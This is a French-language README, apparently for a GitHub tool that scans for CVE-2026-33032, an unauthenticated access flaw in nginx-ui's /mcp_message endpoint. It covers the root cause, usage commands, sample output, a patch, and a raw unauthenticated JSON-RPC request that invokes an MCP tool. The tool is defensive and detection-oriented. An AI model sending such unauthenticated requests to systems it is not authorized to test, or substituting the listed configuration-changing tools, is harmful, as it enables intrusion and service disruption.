
Scanner de vulnérabilités non destructif pour le contournement de l'authentification du point de terminaison MCP de Nginx-UI (CVE-2026-33032)
Scanner de vulnérabilité non destructif pour le contournement d'authentification du point de terminaison MCP de Nginx-UI
CVE-2026-33032 est une vulnérabilité de contournement d'authentification dans l'intégration du Model Context Protocol (MCP) de nginx-ui. Le point de terminaison /mcp_message ne dispose pas d'un middleware d'authentification tout en donnant accès à tous les outils MCP, ce qui permet aux attaquants distants de :
Asymétrie d'authentification : Le point de terminaison /mcp exige une authentification, mais pas /mcp_message :
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...) // AuthRequired() manquant
Liste blanche IP en mode fail-open : La liste blanche IP par défaut est vide, ce que le middleware traite comme « autoriser tout »
Les deux points de terminaison partagent le même gestionnaire : Les deux routent vers le même mcp.ServeHTTP() qui traite toutes les invocations d'outils MCP
✅ Tests non destructifs - Utilise uniquement des outils MCP en lecture seule
✅ Empreinte complète - Identifie les installations nginx-ui
✅ Preuve de concept sûre - Aucune modification de configuration effectuée
✅ Analyse par lots - Traite plusieurs cibles à partir d'un fichier
✅ Rapports détaillés - Sortie JSON pour l'intégration
# Cloner ou télécharger le scanner
git clone https://github.com/Twinson333/cve-2026-33032-scanner.git
cd cve-2026-33032
chmod +x cve-2026-33032-scanner.py
# Installer les dépendances (si nécessaire)
pip3 install requests
# Analyser une seule cible
python3 cve-2026-33032-scanner.py -u http://target.com:9000
# Analyser avec sortie détaillée
python3 cve-2026-33032-scanner.py -u https://nginx-ui.example.com -v
# Délai d'attente personnalisé
python3 cve-2026-33032-scanner.py -u http://192.168.1.100:9000 -t 15
# Analyser plusieurs cibles à partir d'un fichier
python3 cve-2026-33032-scanner.py -f targets.txt
# Avec sortie détaillée et rapport JSON
python3 cve-2026-33032-scanner.py -f targets.txt -v -o results.json
# Pingback Burp
python3 cve-2026-33032-scanner.py -u http://target.com:9000 --collaborator abc123.burpcollaborator.net
# targets.txt - une URL par ligne
http://192.168.1.100:9000
https://nginx-ui.corp.com
http://10.0.0.50:9000
Le scanner effectue un processus de détection en plusieurs étapes :
Vérifie les points de terminaison courants de nginx-ui pour identifier l'installation :
/api/info - Informations de version/login - Page de connexion/api/auth/login - Point de terminaison d'authentification/mcp et /mcp_message - Points de terminaison MCPTeste le point de terminaison /mcp pour vérifier qu'il exige correctement une authentification (référence)
Tente des appels d'outils MCP non destructifs via /mcp_message SANS authentification :
Si un outil réussit sans authentification, la vulnérabilité est confirmée.
Le scanner n'invoque que des outils MCP en lecture seule :
| Outil | Description | Impact |
|---|---|---|
nginx_status | Lire l'état du service nginx | Aucune modification |
nginx_config_list | Lister les fichiers de configuration | Aucune modification |
nginx_config_base_path | Obtenir le chemin du répertoire de configuration | Aucune modification |
Outils explicitement évités :
nginx_config_add - Créerait des fichiersnginx_config_modify - Modifierait les configurationsrestart_nginx / reload_nginx - Interruption de servicenginx_config_enable - Modifierait les configurations actives[+] nginx-ui détecté : 'nginx-ui' trouvé dans /login
[+] Point de terminaison /mcp correctement protégé
[*] Test du point de terminaison /mcp_message (CVE-2026-33032)...
[*] Tentative de l'outil : nginx_status - Lecture de l'état nginx (le plus sûr)
Statut : 200
======================================================================
[!] VULNÉRABLE à CVE-2026-33032
======================================================================
Preuve : nginx_status exécuté avec succès sans authentification
[+] nginx-ui détecté : point de terminaison de version accessible
[+] Point de terminaison /mcp correctement protégé
[*] Test du point de terminaison /mcp_message (CVE-2026-33032)...
[*] Tentative de l'outil : nginx_status - Lecture de l'état nginx (le plus sûr)
Statut : 401
Authentification requise (protégé) ✓
[+] NON vulnérable - le point de terminaison exige une authentification
Si la vulnérabilité est confirmée :
Correctif immédiat : Ajouter un middleware d'authentification à /mcp_message :
r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})
Défense en profondeur :
Mise à niveau : Mettre à jour vers la version corrigée de nginx-ui lorsqu'elle sera disponible
Cet outil est conçu pour :
N'utilisez PAS cet outil sur des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas d'autorisation explicite de test.
Lors du signalement de cette vulnérabilité :
Gravité : Critique (CVSS 9.8+)
Preuve : Inclure la sortie du scanner montrant l'invocation réussie d'un outil MCP sans authentification
Chaîne d'impact :
PoC sûr : Utiliser uniquement les outils en lecture seule (nginx_status, nginx_config_list)
POST /mcp_message HTTP/1.1
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "nginx_status",
"arguments": {}
},
"id": 1
}
{
"jsonrpc": "2.0",
"result": {
"content": [
{
"type": "text",
"text": "nginx is running (PID: 1234)"
}
]
},
"id": 1
}
HTTP/1.1 401 Unauthorized
{
"error": "authentication required"
}
Cet outil est fourni à des fins éducatives et de tests de sécurité autorisés uniquement.
Antony Esthak Twinson @ Cyber Tamarin
Chercheur en sécurité | Chasseur de bug bounty
Spécialisé dans la sécurité des applications web et la recherche de vulnérabilités
Avertissement : Ce scanner effectue uniquement des tests non destructifs. Obtenez toujours une autorisation appropriée avant de tester tout système.